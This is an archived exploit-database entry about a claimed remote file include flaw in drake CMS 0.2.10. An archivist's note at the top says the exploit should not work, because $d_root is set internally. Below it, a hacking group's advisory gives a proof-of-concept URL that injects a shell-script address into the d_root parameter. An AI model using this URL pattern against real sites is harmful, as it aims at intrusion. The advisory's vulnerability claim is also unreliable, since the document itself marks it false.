[VIM] False: drake_0.2.10 => (d_root) Remote File Include Exploit

[str0ke]

Recieved this today which shouldn't work.

> require 'version.php';
contains 	$d_root = str_replace('\\','/', dirname(__FILE__)).'/';

Looking over the other includes further down the line do not contain
any kind of $_GET extracts.

/str0ke

Xmor$ DigitaL Hacking TeaM
# drake_0.2.10 =>  (d_root) Remote File Include Exploit
# Script.............. : drake CMS
# Discovered by.... : the_Edit0r
# Location .......... : Iran
# Class..............  : Remote
# Original Advisory : http://Www.Xmors.com ( Pablic )
http://Www.Xmors.net (pirv8)
# We ArE : Scorpiunix , KAMY4r , SilliCONIC , Zer0.C0d3r
#      D3vil_B0y_ir , Tornado , DarkAngel , S.W.A.T
# <Spical TNX Irania Hackers :
#  ( Aria-Security , Crouz , virangar ,DeltaHacking , Iranhackers
#   Kapa TeaM , Ashiyane , Shabgard , Simorgh-ev, Virangar )


#CoDe

include $d_root.'includes/header.php';

# proof Of Concept :

www.[target].com/[path]/index.php?d_root=[Sh3ll-Script]

#download :
http://downloads.sourceforge.net/drakecms/drake_0.2.10_alpha_rev1198.zip

#Contact me : the_3dit0r[at]Yahoo[dot]coM